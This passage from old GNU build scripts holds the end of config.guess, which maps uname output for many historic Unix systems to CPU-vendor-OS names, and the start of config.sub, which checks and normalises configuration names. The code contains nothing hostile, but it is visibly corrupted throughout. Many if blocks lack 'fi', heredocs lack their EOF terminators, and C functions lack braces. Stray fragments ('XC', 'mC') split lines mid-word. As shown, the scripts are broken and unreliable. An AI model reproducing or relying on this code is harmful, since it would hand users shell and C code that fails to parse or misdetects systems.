    *:AIX:*:4)
      if /usr/sbin/lsattr -EHl proc0 | grep POWER >/dev/null 2>&1; then
            IBM_ARCH=rs6000
      else
            IBM_ARCH=powerpc
      if [ -x /usr/bin/oslevel ] ; then
            IBM_REV=`/usr/bin/oslevel`
      else
            IBM_REV=4.${UNAME_RELEASE}
      echo ${IBM_ARCH}-ibm-aix${IBM_REV}
      exit 0 ;;
    *:AIX:*:*)
      echo rs6000-ibm-aix
      exit 0 ;;
    ibmrt:4.4BSD:*|romp-ibm:BSD:*)
      echo romp-ibm-bsd4.4
      exit 0 ;;
    ibmrt:*BSD:*|romp-ibm:BSD:*)            # covers RT/PC NetBSD and
      echo romp-ibm-bsd${UNAME_RELEASE}   # 4.3 with uname added to
      exit 0 ;;                           # report: romp-ibm BSD 4.3
    *:BOSX:*:*)
      echo rs6000-bull-bosx
      exit 0 ;;
    DPX/2?00:B.O.S.:*:*)
      echo m68k-bull-sysv3
      exit 0 ;;
    9000/[34]??:4.3bsd:1.*:*)
      echo m68k-hp-bsd
      exit 0 ;;
    hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*)
      echo m68k-hp-bsd4.4
      exit 0 ;;
    9000/[3478]??:HP-UX:*:*)
      case "${UNAME_MACHINE}" in
          9000/31? )            HP_ARCH=m68000 ;;
          9000/[34]?? )         HP_ARCH=m68k ;;
          9000/7?? | 9000/8?[1679] ) HP_ARCH=hppa1.1 ;;
          9000/8?? )            HP_ARCH=hppa1.0 ;;
      esac
      HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'`
      echo ${HP_ARCH}-hp-hpux${HPUX_REV}
      exit 0 ;;
    3050*:HI-UX:*:*)
      sed 's/^  //' << EOF >dummy.c
      #include <unistd.h>
      int
      main ()
        long cpu = sysconf (_SC_CPU_VERSION);
        /* The order matters, because CPU_IS_HP_MC68K erroneously returns
           true for CPU_PA_RISC1_0.  CPU_IS_PA_RISC returns correct
           results, however.  */
        if (CPU_IS_PA_RISC (cpu))
          {
            switch (cpu)
              case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break;
              case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break;
              case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break;
              default: puts ("hppa-hitachi-hiuxwe2"); break;
          }
        else if (CPU_IS_HP_MC68K (cpu))
          puts ("m68k-hitachi-hiuxwe2");
        else puts ("unknown-hitachi-hiuxwe2");
        exit (0);
      ${CC-cc} dummy.c -o dummy && ./dummy && rm dummy.c dummy && exit 0
      rm -f dummy.c dummy
      echo unknown-hitachi-hiuxwe2
      exit 0 ;;
    9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* )
      echo hppa1.1-hp-bsd
      exit 0 ;;
    9000/8??:4.3bsd:*:*)
      echo hppa1.0-hp-bsd
      exit 0 ;;
    hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* )
      echo hppa1.1-hp-osf
      exit 0 ;;
    hp8??:OSF1:*:*)
      echo hppa1.0-hp-osf
      exit 0 ;;
    i?86:OSF1:*:*)
      if [ -x /usr/sbin/sysversion ] ; then
          echo ${UNAME_MACHINE}-unknown-osf1mk
      else
          echo ${UNAME_MACHINE}-unknown-osf1
      exit 0 ;;
    parisc*:Lites*:*:*)
      echo hppa1.1-hp-lites
      exit 0 ;;
    C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*)
      echo c1-convex-bsd
        exit 0 ;;
    C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*)
      if getsysinfo -f scalar_acc
      then echo c32-convex-bsd
      else echo c2-convex-bsd
        exit 0 ;;
    C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*)
      echo c34-convex-bsd
        exit 0 ;;
    C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*)
      echo c38-convex-bsd
        exit 0 ;;
    C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*)
      echo c4-convex-bsd
        exit 0 ;;
    CRAY*X-MP:*:*:*)
      echo xmp-cray-unicos
        exit 0 ;;
    CRAY*Y-MP:*:*:*)
      echo ymp-cray-unicos${UNAME_RELEASE}
      exit 0 ;;
    CRAY*[A-Z]90:*:*:*)
      echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \
      | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \
            -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/
      exit 0 ;;
    CRAY*TS:*:*:*)
      echo t90-cray-unicos${UNAME_RELEASE}
      exit 0 ;;
    CRAY-2:*:*:*)
      echo cray2-cray-unicos
        exit 0 ;;
    F300:UNIX_System_V:*:*)
        FUJITSU_SYS=`uname -p | tr [A-Z] [a-z] | sed -e 's/\///'`
        FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'`
        echo "f300-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}"
        exit 0 ;;
    F301:UNIX_System_V:*:*)
       echo f301-fujitsu-uxpv`echo $UNAME_RELEASE | sed 's/ .*//'`
       exit 0 ;;
    hp3[0-9][05]:NetBSD:*:*)
      echo m68k-hp-netbsd${UNAME_RELEASE}
      exit 0 ;;
    hp3[0-9][05]:OpenBSD:*:*)
      echo m68k-hp-openbsd${UNAME_RELEASE}
      exit 0 ;;
    i?86:BSD/386:*:* | *:BSD/OS:*:*)
      echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE}
      exit 0 ;;
    *:FreeBSD:*:*)
      echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`
      exit 0 ;;
    *:NetBSD:*:*)
      echo ${UNAME_MACHINE}-unknown-netbsd`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'`
      exit 0 ;;
    *:OpenBSD:*:*)
      echo ${UNAME_MACHINE}-unknown-openbsd`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'`
      exit 0 ;;
    i*:CYGWIN*:*)
      echo i386-pc-cygwin32
      exit 0 ;;
    p*:CYGWIN*:*)
      echo powerpcle-unknown-cygwin32
      exit 0 ;;
    prep*:SunOS:5.*:*)
      echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
      exit 0 ;;
    *:GNU:*:*)
      echo `echo ${UNAME_MACHINE}|sed -e 's,/.*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'`
      exit 0 ;;
    *:Linux:*:*)
      # The BFD XC
linker knows what the default object file format is, so
      # first see if it will tell us.
      ld_help_string=`ld --help 2>&1`
      if echo "$ld_help_string" | grep >/dev/null 2>&1 "supported emulations: elf_i.86"; then
        echo "${UNAME_MACHINE}-pc-linux-gnu" ; exit 0
      elif echo "$ld_help_string" | grep >/dev/null 2>&1 "supported emulations: i.86linux"; then
        echo "${UNAME_MACHINE}-pc-linux-gnuaout" ; exit 0
      elif echo "$ld_help_string" | grep >/dev/null 2>&1 "supported emulations: i.86coff"; then
        echo "${UNAME_MACHINE}-pc-linux-gnucoff" ; exit 0
      elif echo "$ld_help_string" | grep >/dev/null 2>&1 "supported emulations: m68kelf"; then
        echo "${UNAME_MACHINE}-unknown-linux-gnu" ; exit 0
      elif echo "$ld_help_string" | grep >/dev/null 2>&1 "supported emulations: m68klinux"; then
        echo "${UNAME_MACHINE}-unknown-linux-gnuaout" ; exit 0
      elif echo "$ld_help_string" | grep >/dev/null 2>&1 "supported emulations: elf32ppc"; then
        echo "powerpc-unknown-linux-gnu" ; exit 0
      elif test "${UNAME_MACHINE}" = "alpha" ; then
        echo alpha-unknown-linux-gnu ; exit 0
      elif test "${UNAME_MACHINE}" = "sparc" ; then
        echo sparc-unknown-linux-gnu ; exit 0
      else
        # Either a pre-BFD a.out linker (linux-gnuoldld) or one that does not give us
        # useful --help.  Gcc wants to distinguish between linux-gnuoldld and linux-gnuaout.
        test ! -d /usr/lib/ldscripts/. \
          && echo "${UNAME_MACHINE}-pc-linux-gnuoldld" && exit 0
        # Determine whether the default compiler is a.out or elf
        cat >dummy.c <<EOF
main(argc, argv)
int argc;
char *argv[];
#ifdef __ELF__
  printf ("%s-pc-linux-gnu\n", argv[1]);
#else
  printf ("%s-pc-linux-gnuaout\n", argv[1]);
#endif
  return 0;
        ${CC-cc} dummy.c -o dummy 2>/dev/null && ./dummy "${UNAME_MACHINE}" && rm dummy.c dummy && exit 0
        rm -f dummy.c dummy
      fi ;;
# ptx 4.0 does uname -s correctly, with DYNIX/ptx in there.  earlier versions
# are messed up and put the nodename in both sysname and nodename.
    i?86:DYNIX/ptx:4*:*)
      echo i386-sequent-sysv4
      exit 0 ;;
    i?86:*:4.*:* | i?86:SYSTEM_V:4.*:*)
      if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then
            echo ${UNAME_MACHINE}-univel-sysv${UNAME_RELEASE}
      else
            echo ${UNAME_MACHINE}-pc-sysv${UNAME_RELEASE}
      exit 0 ;;
    i?86:*:3.2:*)
      if test -f /usr/options/cb.name; then
            UNAME_REL=`sed -n 's/.*Version //p' </usr/options/cb.name`
            echo ${UNAME_MACHINE}-pc-isc$UNAME_REL
      elif /bin/uname -X 2>/dev/null >/dev/null ; then
            UNAME_REL=`(/bin/uname -X|egrep Release|sed -e 's/.*= //')`
            (/bin/uname -X|egrep i80486 >/dev/null) && UNAME_MACHINE=i486
            (/bin/uname -X|egrep '^Machine.*Pentium' >/dev/null) \
                  && UNAME_MACHINE=i586
            echo ${UNAME_MACHINE}-pc-sco$UNAME_REL
      else
            echo ${UNAME_MACHINE}-pc-sysv32
      exit 0 ;;
    Intel:Mach:3*:*)
      echo i386-pc-mach3
      exit 0 ;;
    paragon:*:*:*)
      echo i860-intel-osf1
      exit 0 ;;
    i860:*:4.*:*) # i860-SVR4
      if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then
        echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4
      else # Add other i860-SVR4 vendors below as they are discovered.
        echo i860-unknown-sysv${UNAME_RELEASE}  # Unknown i860-SVR4
      exit 0 ;;
    mini*:CTIX:SYS*5:*)
      # "miniframe"
      echo m68010-convergent-sysv
      exit 0 ;;
    M68*:*:R3V[567]*:*)
      test -r /sysV68 && echo 'm68k-motorola-sysv' && exit 0 ;;
    3[34]??:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 4850:*:4.0:3.0)
      OS_REL=''
      test -r /etc/.relid \
      && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid`
      /bin/uname -p 2>/dev/null | grep 86 >/dev/null \
        && echo i486-ncr-sysv4.3${OS_REL} && exit 0
      /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \
        && echo i586-ncr-sysv4.3${OS_REL} && exit 0 ;;
    3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*)
        /bin/uname -p 2>/dev/null | grep 86 >/dev/null \
          && echo i486-ncr-sysv4 && exit 0 ;;
    m68*:LynxOS:2.*:*)
      echo m68k-unknown-lynxos${UNAME_RELEASE}
      exit 0 ;;
    mc68030:UNIX_System_V:4.*:*)
      echo m68k-atari-sysv4
      exit 0 ;;
    i?86:LynxOS:2.*:*)
      echo i386-unknown-lynxos${UNAME_RELEASE}
      exit 0 ;;
    TSUNAMI:LynxOS:2.*:*)
      echo sparc-unknown-lynxos${UNAME_RELEASE}
      exit 0 ;;
    rs6000:LynxOS:2.*:* | PowerPC:LynxOS:2.*:*)
      echo rs6000-unknown-lynxos${UNAME_RELEASE}
      exit 0 ;;
    SM[BE]S:UNIX_SV:*:*)
      echo mips-dde-sysv${UNAME_RELEASE}
      exit 0 ;;
    RM*:SINIX-*:*:*)
      echo mips-sni-sysv4
      exit 0 ;;
    *:SINIX-*:*:*)
      if uname -p 2>/dev/null >/dev/null ; then
            UNAME_MACHINE=`(uname -p) 2>/dev/null`
            echo ${UNAME_MACHINE}-sni-sysv4
      else
            echo ns32k-sni-sysv
      exit 0 ;;
    *:UNIX_System_V:4*:FTX*)
      # From Gerald Hewes <hewes@openmarket.com>.
      # How about differentiating between stratus architectures? -djm
      echo hppa1.1-stratus-sysv4
      exit 0 ;;
    *:*:*:FTX*)
      # From seanf@swdc.stratus.com.
      echo i860-stratus-sysv4
      exit 0 ;;
    mc68*:A/UX:*:*)
      echo m68k-apple-aux${UNAME_RELEASE}
      exit 0 ;;
    R3000:*System_V*:*:* | R4000:UNIX_SYSV:*:*)
      if [ -d /usr/nec ]; then
              echo mips-nec-sysv${UNAME_RELEASE}
      else
              echo mips-unknown-sysv${UNAME_RELEASE}
        exit 0 ;;
    PENTIUM:CPunix:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort
                           # says <Richard.M.Bartel@ccMail.Census.GOV>
        echo i586-unisys-sysv4
        exit 0 ;;
esac
#echo '(No uname command or uname output not recognized.)' 1>&2
#echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" 1>&2
cat >dummy.c <<EOF
#ifdef _SEQUENT_
# include <sys/types.h>
# include <sys/utsname.h>
#endif
main ()
#if defined (sony)
#if defined (MIPSEB)
  /* BFD wants "bsd" instead of "newsos".  Perhaps BFD should be changed,
     I don't know....  */
  printf ("mips-sony-bsd\n"); exit (0);
#else
#include <sys/param.h>
  printf ("m68k-sony-newsos%s\n",
#ifdef NEWSOS4
          "4"
#else
        ""
#endif
         ); exit (0);
#endif
#endif
#if defined (__arm) && defined (__acorn) && defined (__unix)
  printf ("arm-acorn-riscix"); exit (0);
#endif
#if defined (hp300) && !defined (hpux)
  printf ("m68k-hp-bsd\n"); exit (0);
#endif
#if defined (NeXT)
#if !defined (__ARCHITECTURE__)
#define __ARCHITECTURE__ "m68k"
#endif
  int version;
  version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`;
  printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version);
  exit (0);
#endif
#if defined (MULTIMAX) || defined (n16)
#if defined (UMAXV)
  printf ("ns32k-encore-sysv\n"); exit (0);
#else
#if defined (CMU)
  printf ("ns32k-encore-mach\n"); exit (0);
#else
  printf ("ns32k-encore-bsd\n"); exit (0);
#endif
#endif
#endif
#if defined (__386BSD__)
  printf ("i386-pc-bsd\n"); exit (0);
#endif
#if defined (sequent)
#if defined (i386)
  printf ("i386-sequent-dynix\n"); exit (0);
#endif
#if defined (ns32000)
  printf ("ns32k-sequent-dynix\n"); exit (0);
#endif
#endif
#if defined (_SEQUENT_)
    struct utsname un;
    uname(&un);
    if (strncmp(un.version, "V2", 2) == 0) {
      printf ("i386-sequent-ptx2\n"); exit (0);
    }
    if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */
      printf ("i386-sequent-ptx1\n"); exit (0);
    }
    printf ("i386-sequent-ptx\n"); exit (0);
#endif
#if defined (vax)
#if !defined (ultrix)
  printf ("vax-dec-bsd\n"); exit (0);
#else
  printf ("vax-dec-ultrix\n"); exit (0);
#endif
#endif
#if defined (alliant) && defined (i860)
  printf ("i860-alliant-bsd\n"); exit (0);
#endif
  exit (1);
${CC-cc} dummy.c -o dummy 2>/dev/null && ./dummy && rm dummy.c dummy && exit 0
rm -f dummy.c dummy
# Apollos put the system type in the environment.
test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit 0; }
# Convex versions that predate uname can use getsysinfo(1)
if [ -x /usr/convex/getsysinfo ]
then
    case `getsysinfo -f cpu_type` in
    c1*)
      echo c1-convex-bsd
      exit 0 ;;
    c2*)
      if getsysinfo -f scalar_acc
      then echo c32-convex-bsd
      else echo c2-convex-bsd
      exit 0 ;;
    c34*)
      echo c34-convex-bsd
      exit 0 ;;
    c38*)
      echo c38-convex-bsd
      exit 0 ;;
    c4*)
      echo c4-convex-bsd
      exit 0 ;;
    esac
#echo '(Unable to guess system type)' 1>&2
exit 1
#! /bin/sh
# Configuration validation subroutine script, version 1.1.
#   Copyright (C) 1991, 92, 93, 94, 95, 1996 Free Software Foundation, Inc.
# This file is (in principle) common to ALL GNU software.
# The presence of a machine in this file suggests that SOME GNU software
# can handle that machine.  It does not imply ALL GNU software can.
# This file is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330,
# Boston, MA 02111-1307, USA.
# As a special exception to the GNU General Public License, if you
# distribute this file as part of a program that contains a
# configuration script generated by Autoconf, you may include it under
# the same distribution terms that you use for the rest of that program.
# Configuration subroutine to validate and canonicalize a configuration type.
# Supply the specified configuration type as an argument.
# If it is invalid, we print an error message on stderr and exit with code 1.
# Otherwise, we print the canonical config type on stdout and succeed.
# This file is supposed to be the same for all GNU packages
# and recognize all the CPU types, system types and aliases
# that are meaningful with *any* GNU software.
# Each package is responsible for reporting which valid configurations
# it does not support.  The user should be able to distinguish
# a failure to support a valid configuration from a meaningless
# configuration.
# The goal of this file is to map all the various variations of a given
# machine specification into a single specification in the form:
#      CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM
# or in some cases, the newer four-part form:
#      CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM
# It is wrong to echo any other type of specification.
if [ x$1 = x ]
then
      echo Configuration name missing. 1>&2
      echo "Usage: $0 CPU-MFR-OPSYS" 1>&2
      echo "or     $0 ALIAS" 1>&2
      echo where ALIAS is a recognized configuration type. 1>&2
      exit 1
# First pass through any local machine types.
case $1 in
      *local*)
            echo $1
            exit 0
            ;;
esac
# Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any).
# Here we must recognize all the valid KERNEL-OS combinations.
maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'`
case $maybe_os in
  linux-gnu*)
    os=-$maybe_os
    basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'`
    ;;
  *)
    basic_machine=`echo $1 | sed 's/-[^-]*$//'`
    if [ $basic_machine != $1 ]
    then os=`echo $1 | sed 's/.*-/-/'`
    else os=; fi
    ;;
esac
### Let's recognize common machines as not being operating systems so
### that things like config.sub decstation-3100 work.  We also
### recognize some manufacturers as not being operating systems, so we
### can provide default operating systems below.
case $os in
      -sun*os*)
            # Prevent following clause from handling this invalid input.
            ;;
      -dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | \
      -att* | -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \
      -unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \
      -convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\
      -c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \
      -harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \
      -apple)
            os=
            basic_machine=$1
            ;;
      -hiux*)
            os=-hiuxwe2
            ;;
      -sco5)
            os=sco3.2v5
            basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
            ;;
      -sco4)
            os=-sco3.2v4
            basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
            ;;
      -sco3.2.[4-9]*)
            os=`echo $os | sed -e 's/sco3.2./sco3.2v/'`
            basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
            ;;
      -sco3.2v[4-9]*)
            # Don't forget version if it is 3.2v4 or newer.
            basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
            ;;
      -sco*)
            os=-sco3.2v2
            basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
            ;;
      -isc)
            os=-isc2.2
            basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
            ;;
      -clix*)
            basic_machine=clipper-intergraph
            ;;
      -isc*)
            basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
            ;;
      -lynx*)
            os=-lynxos
            ;;
      -ptx*)
            basic_machine=`echo $1 | sed -e 's/86-.*/86-sequent/'`
            ;;
      -windowsnt*)
            os=`echo $os | sed -e 's/windowsnt/winnt/'`
            ;;
      -psos*)
            os=-psos
            ;;
esac
# Decode aliases for certain CPU-COMPANY combinations.
case $basic_machine in
      # Recognize the basic CPU types without company name.
      # Some are omitted here because they have special meanings below.
      tahoe | i860 | m68k | m68000 | m88k | ns32k | arm \
            | arme[lb] | pyramid \
            | tron | a29k | 580 | i960 | h8300 | hppa | hppa1.0 | hppa1.1 \
            | alpha | we32k | ns16k | clipper | i370 | sh \
            | powerpc | powerpcle | 1750a | dsp16xx | mips64 | mipsel \
            | pdp11 | mips64el | mips64orion | mips64orionel \
            | sparc | sparclet | sparclite | sparc64)
            basic_machine=$basic_machine-unknown
            ;;
      # We use `pc' rather than `unknown'
      # because (1) that's what they normally are, and
      # (2) the word "unknown" tends to confuse beginning users.
      i[3456]86)
        basic_machine=$basic_machine-pc
        ;;
      # Object if more than one company name word.
      *-*-*)
            echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2
            exit 1
            ;;
      # Recognize the basic CPU types with company name.
      vax-* | tahoe-* | i[3456]86-* | i860-* | m68k-* | m68000-* | m88k-* \
            | sparc-* | ns32k-* | fx80-* | arm-* | c[123]* \
            | mips-* | pyramid-* | tron-* | a29k-* | romp-* | rs6000-* | power-* \
            | none-* | 580-* | cray2-* | h8300-* | i960-* | xmp-* | ymp-* \
            | hppa-* | hppa1.0-* | hppa1.1-* | alpha-* | we32k-* | cydra-* | ns16k-* \
            | pn-* | np1-* | xps100-* | clipper-* | orion-* | sparclite-* \
            | pdp11-* | sh-* | powerpc-* | powerpcle-* | sparc64-* | mips64-* | mipsel-* \
            | mips64el-* | mips64orion-* | mips64orionel-* | f301-*)
            ;;
      # Recognize the various machine names and aliases which stand
      # for a CPU type and a company and sometimes even an OS.
      3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc)
            basic_machine=m68000-att
            ;;
      3b*)
            basic_machine=we32k-att
            ;;
      alliant | fx80)
            basic_machine=fx80-alliant
            ;;
      altos | altos3068)
            basic_machine=m68k-altos
            ;;
      am29k)
            basic_machine=a29k-none
            os=-bsd
            ;;
      amdahl)
            basic_machine=580-amdahl
            os=-sysv
            ;;
      amiga | amiga-*)
            basic_machine=m68k-cbm
            ;;
      amigados)
            basic_machine=m68k-cbm
            os=-amigados
            ;;
      amigaunix | amix)
            basic_machine=m68k-cbm
            os=-sysv4
            ;;
      apollo68)
            basic_machine=m68k-apollo
            os=-sysv
            ;;
      aux)
            basic_machine=m68k-apple
            os=-aux
            ;;
      balance)
            basic_machine=ns32k-sequent
            os=-dynix
            ;;
      convex-c1)
            basic_machine=c1-convex
            os=-bsd
            ;;
      convex-c2)
            basic_machine=c2-convex
            os=-bsd
            ;;
      convex-c32)
            basic_machine=c32-convex
            os=-bsd
            ;;
      convex-c34)
            basic_machine=c34-convex
            os=-bsd
            ;;
      convex-c38)
            basic_machine=c38-convex
            os=-bsd
            ;;
      cray | ymp)
            basic_machine=ymp-cray
            os=-unicos
            ;;
      cray2)
            basic_machine=cray2-cray
            os=-unicos
            ;;
      [ctj]90-cray)
            basic_machine=c90-cray
            os=-unicos
            ;;
      crds | unos)
            basic_machine=m68k-crds
            ;;
      da30 | da30-*)
            basic_machine=m68k-da30
            ;;
      decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn)
            basic_machine=mips-dec
            ;;
      delta | 3300 | motorola-3300 | motorola-delta \
            | 3300-motorola | delta-motorola)
            basic_machine=m68k-motorola
            ;;
      delta88)
            basic_machine=m88k-motorola
            os=-sysv3
            ;;
      dpx20 | dpx20-*)
            basic_machine=rs6000-bull
            os=-bosx
            ;;
      dpx2* | dpx2*-bull)
            basic_machine=m68k-bull
            os=-sysv3
            ;;
      ebmon29k)
            basic_machine=a29k-amd
            os=-ebmon
            ;;
      elxsi)
            basic_machine=elxsi-elxsi
            os=-bsd
            ;;
      encore | umax | mmax)
            basic_machine=ns32k-encore
            ;;
      fx2800)
            basic_machine=i860-alliant
            ;;
      genix)
            basic_machine=ns32k-ns
            ;;
      gmicro)
            basic_machine=tron-gmicro
            os=-sysv
            ;;
      h3050r* | hiux*)
            basic_machine=hppa1.1-hitachi
            os=-hiuxwe2
            ;;
      h8300hms)
            basic_machine=h8300-hitachi
            os=-hms
            ;;
      harris)
            basic_machine=m88k-harris
            os=-sysv3
            ;;
      hp300-*)
            basic_machine=m68k-hp
            ;;
      hp300bsd)
            basic_machine=m68k-hp
            os=-bsd
            ;;
      hp300hpux)
            basic_machine=m68k-hp
            os=-hpux
            ;;
      hp9k2[0-9][0-9] | hp9k31[0-9])
            basic_machine=m68000-hp
            ;;
      hp9k3[2-9][0-9])
            basic_machine=m68k-hp
            ;;
      hp9k7[0-9][0-9] | hp7[0-9][0-9] | hp9k8[0-9]7 | hp8[0-9]7)
            basic_machine=hppa1.1-hp
            ;;
      hp9k8[0-9][0-9] | hp8[0-9][0-9])
            basic_machine=hppa1.0-hp
            ;;
      hppa-next)
            os=-nextstep3
            ;;
      i370-ibm* | ibm*)
            basic_machine=i370-ibm
            os=-mvs
            ;;
# I'm not sure what "Sysv32" means.  Should this be sysv3.2?
      i[3456]86v32)
            basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'`
            os=-sysv32
            ;;
      i[3456]86v4*)
            basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'`
            os=-sysv4
            ;;
      i[3456]86v)
            basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'`
            os=-sysv
            ;;
      i[3456]86sol2)
            basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'`
            os=-solaris2
            ;;
      iris | iris4d)
            basic_machine=mips-sgi
            case $os in
                -irix*)
                  ;;
                *)
                  os=-irix4
                  ;;
            esac
            ;;
      isi68 | isi)
            basic_machine=m68k-isi
            os=-sysv
            ;;
      m88k-omron*)
            basic_machine=m88k-omron
            ;;
      magnum | m3230)
            basic_machine=mips-mips
            os=-sysv
            ;;
      merlin)
            basic_machine=ns32k-utek
            os=-sysv
            ;;
      miniframe)
            basic_machine=m68000-convergent
            ;;
      mips3*-*)
            basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`
            ;;
      mips3*)
            basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown
            ;;
      ncr3000)
            basic_machine=i486-ncr
            os=-sysv4
            ;;
      news | news700 | news800 | news900)
            basic_machine=m68k-sony
            os=-newsos
            ;;
      news1000)
            basic_machine=m68030-sony
            os=-newsos
            ;;
      news-3600 | risc-news)
            basic_machine=mips-sony
            os=-newsos
            ;;
      next | m*-next )
            basic_machine=m68k-next
            case $os in
                -nextstep* )
                  ;;
                -ns2*)
                  os=-nextstep2
                  ;;
                *)
                  os=-nextstep3
                  ;;
            esac
            ;;
      nh3000)
            basic_machine=m68k-harris
            os=-cxux
            ;;
      nh[45]000)
            basic_machine=m88k-harris
            os=-cxux
            ;;
      nindy960)
            basic_machine=i960-intel
            os=-nindy
            ;;
      np1)
            basic_machine=np1-gould
            ;;
      pa-hitachi)
            basic_machine=hppa1.1-hitachi
            os=-hiuxwe2
            ;;
      paragon)
            basic_machine=i860-intel
            os=-osf
            ;;
      pbd)
            basic_machine=sparc-tti
            ;;
      pbb)
            basic_machine=m68k-tti
            ;;
        pc532 | pc532-*)
            basic_machine=ns32k-pc532
            ;;
      pentium | p5)
            basic_machine=i586-intel
            ;;
      pentiumpro | p6)
            basic_machine=i686-intel
            ;;
      pentium-* | p5-*)
            basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'`
            ;;
      pentiumpro-* | p6-*)
            basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'`
            ;;
      k5)
            # We don't have specific support for AMD's K5 yet, so just call it a Pentium
            basic_machine=i586-amd
            ;;
      nexen)
            # We don't have specific support for Nexgen yet, so just call it a Pentium
            basic_machine=i586-nexgen
            ;;
      pn)
            basic_machine=pn-gould
            ;;
      power)      basic_machine=rs6000-ibm
            ;;
      ppc)      basic_machine=powerpc-unknown
              ;;
      ppc-*)      basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'`
            ;;
      ppcle | powerpclittle | ppc-le | powerpc-little)
            basic_machine=powerpcle-unknown
              ;;
      ppcle-* | powerpclittle-*)
            basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'`
            ;;
      ps2)
            basic_machine=i386-ibm
            ;;
      rm[46]00)
            basic_machine=mips-siemens
            ;;
      rtpc | rtpc-*)
            basic_machine=romp-ibm
            ;;
      sequent)
            basic_machine=i386-sequent
            ;;
      sh)
            basic_machine=sh-hitachi
            os=-hms
            ;;
      sps7)
            basic_machine=m68k-bull
            os=-sysv2
            ;;
      spur)
            basic_machine=spur-unknown
            ;;
      sun2)
            basic_machine=m68000-sun
            ;;
      sun2os3)
            basic_machine=m68000-sun
            os=-sunos3
            ;;
      sun2os4)
            basic_machine=m68000-sun
            os=-sunos4
            ;;
      sun3os3)
            basic_machine=m68k-sun
            os=mC
-sunos3
            ;;
      sun3os4)
            basic_machine=m68k-sun
            os=-sunos4
            ;;
      sun4os3)
            basic_machine=sparc-sun
            os=-sunos3
            ;;
      sun4os4)
            basic_machine=sparc-sun
            os=-sunos4
            ;;
      sun4sol2)
            basic_machine=sparc-sun
            os=-solaris2
            ;;
